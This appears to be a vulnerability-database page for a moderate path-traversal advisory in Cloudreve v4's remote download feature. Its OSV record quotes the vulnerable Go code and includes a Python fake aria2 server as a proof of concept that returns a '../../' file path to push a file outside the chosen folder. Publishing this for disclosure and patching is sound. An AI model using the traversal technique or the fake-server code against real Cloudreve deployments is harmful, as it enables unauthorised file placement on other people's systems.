GHSA-w8j7-39hp-8x59: Github.com/cloudreve/Cloudreve/v4 Cloudreve's Remote Download File Paths Vulnerability
MODERATEGHSA-w8j7-39hp-8x59 is a MODERATE cloudreve's remote download file paths vulnerability (CWE-23: Relative Path Traversal) affecting Github.com/cloudreve/Cloudreve/v4 libraries in the Go ecosystem. The issue involves cloudreve's remote download file paths can escape the selected destination directory. Remediation is available in the latest vendor maintenance releases.
GHSA-w8j7-39hp-8x59 at a Glance
How to Fix GHSA-w8j7-39hp-8x59
To remediate this vulnerability, upgrade all affected Github.com/cloudreve/Cloudreve/v4 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/cloudreve/Cloudreve/v4 to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/cloudreve/Cloudreve/v4
How to Check if You Are Affected
To determine whether your application is affected by GHSA-w8j7-39hp-8x59, inspect your project dependencies for Github.com/cloudreve/Cloudreve/v4:
inspect dependencies for github.com/cloudreve/Cloudreve/v4
Analyze the terminal output to locate any version of Github.com/cloudreve/Cloudreve/v4 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-23: Relative Path Traversal, where the product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory. In Github.com/cloudreve/Cloudreve/v4, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-w8j7-39hp-8x59 Affected Github.com/cloudreve/Cloudreve/v4 Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/cloudreve/Cloudreve/v4
|
Go |
≤ 4.0.0-20260606032813-26b6b1044b02
|
|
References
Frequently Asked Questions
What is GHSA-w8j7-39hp-8x59?
Which Github.com/cloudreve/Cloudreve/v4 versions are affected?
What version fixes GHSA-w8j7-39hp-8x59?
Is github.com/cloudreve/Cloudreve/v4 affected?
What CWE is associated with GHSA-w8j7-39hp-8x59?
How can I check Go dependencies for GHSA-w8j7-39hp-8x59?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-w8j7-39hp-8x59",
"modified" : "2026-08-24T22:03:33Z",
"published" : "2026-08-24T22:03:33Z",
"aliases" : [ ],
"summary" : "Cloudreve's remote download file paths can escape the selected destination directory",
"details" : "### Summary\n\nCloudreve trusts file paths returned by the configured remote downloader. A downloader-reported path such as `../../escaped.txt` can cause a downloaded file to be created outside the user-selected destination directory.\n\n### Details\n\nIn the remote download master transfer path, Cloudreve joins the user-selected destination URI with the downloader-reported file name.\n\n```go\n// pkg/filemanager/workflows/remote_download.go:436-438\nsanitizedName := sanitizeFileName(file.Name)\ndst := dstUri.JoinRaw(sanitizedName)\nsrc := filepath.FromSlash(path.Join(m.state.Status.SavePath, file.Name))\n```\n\nThe same issue also exists when constructing slave upload payloads.\n\n```go\n// pkg/filemanager/workflows/remote_download.go:323-327\ndst := dstUri.JoinRaw(sanitizeFileName(f.Name))\nsrc := path.Join(m.state.Status.SavePath, f.Name)\npayload.Files = append(payload.Files, SlaveUploadEntity{\n\tSrc: src,\n\tUri: dst,\n```\n\nThe sanitizer does not remove `/`, `.`, or `..` path segments.\n\n```go\n// pkg/filemanager/workflows/remote_download.go:648-650\nfunc sanitizeFileName(name string) string {\n\tr := strings.NewReplacer(\"\\\\\", \"_\", \":\", \"_\", \"*\", \"_\", \"?\", \"_\", \"\\\"\", \"_\", \"<\", \"_\", \">\", \"_\", \"|\", \"_\")\n\treturn r.Replace(name)\n}\n```\n\n`JoinRaw()` splits the raw string by `/` and joins the segments, allowing `..` to affect the final URI path.\n\n```go\n// pkg/filemanager/fs/uri.go:173-175\nfunc (u *URI) JoinRaw(elem string) *URI {\n\treturn u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...)\n}\n```\n\nFor aria2, Cloudreve derives `downloader.TaskFile.Name` from the path returned by `aria2.tellStatus().files[].path`.\n\n```go\n// pkg/downloader/aria2/aria2.go:148-159\nrelPath := strings.TrimPrefix(filepath.ToSlash(item.Path), savePath)\nif len(relPath) > 0 {\n\trelPath = relPath[1:]\n}\nreturn downloader.TaskFile{\n\tIndex: index,\n\tName: relPath,\n```\n\nTherefore, if the selected destination is: `cloudreve://my/victim/safe`, the downloader reports `../../escaped.txt`, the final upload destination becomes `cloudreve://my/escaped.txt`\n\nThe issue can move the final Cloudreve URI further up the user’s any accessible namespace, but is subject to Cloudreve’s normal permission and upload checks.\n\n### PoC\n\nThe PoC uses a fake aria2 JSON-RPC service to simulate a downloader returning a traversal path. The vulnerable input is downloader metadata returned by the downloader API, not the HTTP response body of the downloaded URL.\n\nSetup:\n\n```text\nCloudreve official Docker image\nPostgreSQL\nRedis\nFake aria2 JSON-RPC service\n```\n\nConfigure the master node in the Cloudreve admin UI:\n\n```text\nRemote download capability: enabled\nDownloader provider: aria2\naria2 RPC server: http://fake-aria2:6800/jsonrpc\naria2 token: empty\n```\n\nCreate this folder structure in the file manager:\n\n```text\nMy files /\n victim /\n safe /\n```\n\nCreate a remote download task using any URL in the `victim/safe` directory, for example:\n\n```text\nhttp://attacker.invalid/file\n```\n\nThe fake aria2 service returns:\n\n```text\nfiles[0].path = <saveDir>/../../escaped.txt\n```\n\nExpected result after the remote download task completes:\n\n```text\ncloudreve://my/escaped.txt exists\n```\n\nThis demonstrates that the downloaded file escapes both the selected destination directory and its parent directory.\n\n### Impact\n\nIf a configured remote downloader returns malicious file metadata, Cloudreve may create downloaded files outside the destination directory selected by the user who starts the remote download task.\n\nThis affects authenticated users who have remote-download permission and create remote download tasks. The resulting file is still subject to Cloudreve’s normal upload and permission checks, but it may be placed in an unexpected writable location outside the selected folder.\n\n### Appendix: fake_aria2.py\n\n```python\nimport json\nimport os\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nGID = \"0123456789abcdef\"\nCONTENT = b\"created outside the selected Cloudreve destination\\n\"\nsave_dir = \"/cloudreve/data/temp/aria2/poc-final\"\n\n\ndef write_source_file():\n source = os.path.normpath(os.path.join(save_dir, \"..\", \"..\", \"escaped.txt\"))\n os.makedirs(os.path.dirname(source), exist_ok=True)\n with open(source, \"wb\") as f:\n f.write(CONTENT)\n print(f\"fake aria2 source file: {source}\", flush=True)\n\n\ndef response(rpc_id, result):\n return json.dumps({\"jsonrpc\": \"2.0\", \"id\": rpc_id, \"result\": result}).encode()\n\n\nclass Handler(BaseHTTPRequestHandler):\n def do_POST(self):\n global save_dir\n\n raw = self.rfile.read(int(self.headers.get(\"Content-Length\", \"0\")))\n req = json.loads(raw or b\"{}\")\n method = req.get(\"method\")\n rpc_id = req.get(\"id\")\n\n if method == \"aria2.addUri\":\n for item in req.get(\"params\", []):\n if isinstance(item, dict) and item.get(\"dir\"):\n save_dir = item[\"dir\"]\n break\n write_source_file()\n result = GID\n elif method == \"aria2.tellStatus\":\n result = {\n \"gid\": GID,\n \"status\": \"complete\",\n \"totalLength\": str(len(CONTENT)),\n \"completedLength\": str(len(CONTENT)),\n \"uploadLength\": \"0\",\n \"downloadSpeed\": \"0\",\n \"uploadSpeed\": \"0\",\n \"infoHash\": \"\",\n \"numPieces\": \"1\",\n \"dir\": save_dir,\n \"files\": [\n {\n \"index\": \"1\",\n \"path\": f\"{save_dir}/../../escaped.txt\",\n \"length\": str(len(CONTENT)),\n \"completedLength\": str(len(CONTENT)),\n \"selected\": \"true\",\n \"uris\": [],\n }\n ],\n \"bittorrent\": {\"mode\": \"single\", \"info\": {\"name\": \"poc-final\"}},\n }\n elif method == \"aria2.getVersion\":\n result = {\"version\": \"fake-poc-final\", \"enabledFeatures\": []}\n else:\n result = \"OK\"\n\n body = response(rpc_id, result)\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.send_header(\"Content-Length\", str(len(body)))\n self.end_headers()\n self.wfile.write(body)\n\n def log_message(self, fmt, *args):\n return\n\n\nif __name__ == \"__main__\":\n print(\"fake aria2 JSON-RPC listening on :6800\", flush=True)\n HTTPServer((\"0.0.0.0\", 6800), Handler).serve_forever()\n```",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/cloudreve/Cloudreve/v4"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "4.0.0-20260606032813-26b6b1044b02"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-w8j7-39hp-8x59"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/cloudreve/cloudreve"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22", "CWE-23" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-08-24T22:03:33Z",
"nvd_published_at" : null
}
}